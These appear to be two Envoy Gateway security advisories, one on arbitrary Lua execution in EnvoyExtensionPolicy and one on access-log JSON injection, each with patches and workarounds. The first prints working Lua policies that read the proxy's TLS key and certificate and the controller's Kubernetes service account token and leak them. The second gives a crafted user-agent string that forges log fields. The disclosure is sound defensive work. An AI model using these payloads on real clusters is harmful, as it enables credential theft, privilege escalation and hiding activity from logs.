Impact Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts: An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope. Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.

Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.

For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.

yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: leak lua: - type: Inline inline: | function envoyonresponse(responsehandle) local cert = io.open("/certs/tls.crt", "r") local content if cert then content = cert:read("all") cert:close() else content = "file-not-found" end local keyfile = io.open("/certs/tls.key", "r") local contentkey if keyfile then contentkey = keyfile:read("all") keyfile:close() else contentkey = "file-not-found" end local keypair = contentkey .. "\n" .. content responsehandle:body():setBytes(keypair) responsehandle:headers():replace("content-length", tostring(#keypair)) responsehandle:headers():replace("content-type", "text/plain") end

This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.

yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: backend lua: - type: Inline inline: | function envoyonresponse(responsehandle) local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r") local content if token then content = token:read("all") token:close() else content = "file-not-found" end io.write(content) error(content) end

Results in:

yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak [...] status: ancestors: - ancestorRef: group: gateway.networking.k8s.io kind: Gateway name: eg namespace: default conditions: - lastTransitionTime: "..." message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0: failed to validate with envoyonresponse: <string>:622: [REDACTED TOKEN]\nstack traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoyonresponse'\n\t<string>:625: in main chunk\n\t[G]: ?."

Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.

Patches The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution: Runs Lua Strict validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods. Renamed Syntax to InsecureSyntax validation mode to signify that in this validation mode Lua won't be validated for possible security gaps. Supports a new disableLua option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.

Workarounds Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).

Impact In all Envoy Gateway versions prior to 1.2.7 and 1.3.1 a default Envoy Proxy access log configuration is used. This format is vulnerable to log injection attacks.

If the attacker uses a specially crafted user-agent which performs json injection, then he could add and overwrite fields to the access log.

Examples of attacks include:

- Using following string as user agent : HELLO-WORLD", "evil-ip": "1.1.1.1", "x-forwarded-for": "1.1.1.1 would lead to setting of new access log properties and overwrite of existing properties. Existing properties such as the value of the X-Forwarded-For header may have importance for security analysis of access logs, and their overwrite can be used to hide malicious activity.

- Using the following string as user-agent : " which renders an invalid json document. The invalid document may fail to be processed by observability solutions, which would allow attacker to hide malicious activity.

Patches 1.3.1, 1.2.7

Fix Using JSON format as the default format for access logs. The logged document will contain the same key and values as before. Only the order of properties is different inside the logged document.

Workaround One can overwrite the old text based default format with JSON formatter by setting the following property: "EnvoyProxy.spec.telemetry.accessLog" to

settings: - format: type: JSON json: starttime: '%STARTTIME%' method: '%REQ(:METHOD)%' x-envoy-origin-path: '%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%' protocol: '%PROTOCOL%' responsecode: '%RESPONSECODE%' responseflags: '%RESPONSEFLAGS%' responsecodedetails: '%RESPONSECODEDETAILS%' connectionterminationdetails: '%CONNECTIONTERMINATIONDETAILS%' upstreamtransportfailurereason: '%UPSTREAMTRANSPORTFAILUREREASON%' bytesreceived: '%BYTESRECEIVED%' bytessent: '%BYTESSENT%' duration: '%DURATION%' x-envoy-upstream-service-time: '%RESP(X-ENVOY-UPSTREAM-SERVICE-TIME)%' x-forwarded-for: '%REQ(X-FORWARDED-FOR)%' user-agent: '%REQ(USER-AGENT)%' x-request-id: '%REQ(X-REQUEST-ID)%' :authority: '%REQ(:AUTHORITY)%' upstreamhost: '%UPSTREAMHOST%' upstreamcluster: '%UPSTREAMCLUSTER%' upstreamlocaladdress: '%UPSTREAMLOCALADDRESS%' downstreamlocaladdress: '%DOWNSTREAMLOCALADDRESS%' downstreamremoteaddress: '%DOWNSTREAMREMOTEADDRESS%' requestedservername: '%REQUESTEDSERVERNAME%' routename: '%ROUTENAME%' see API definition here

References Are there any links users can visit to find out more?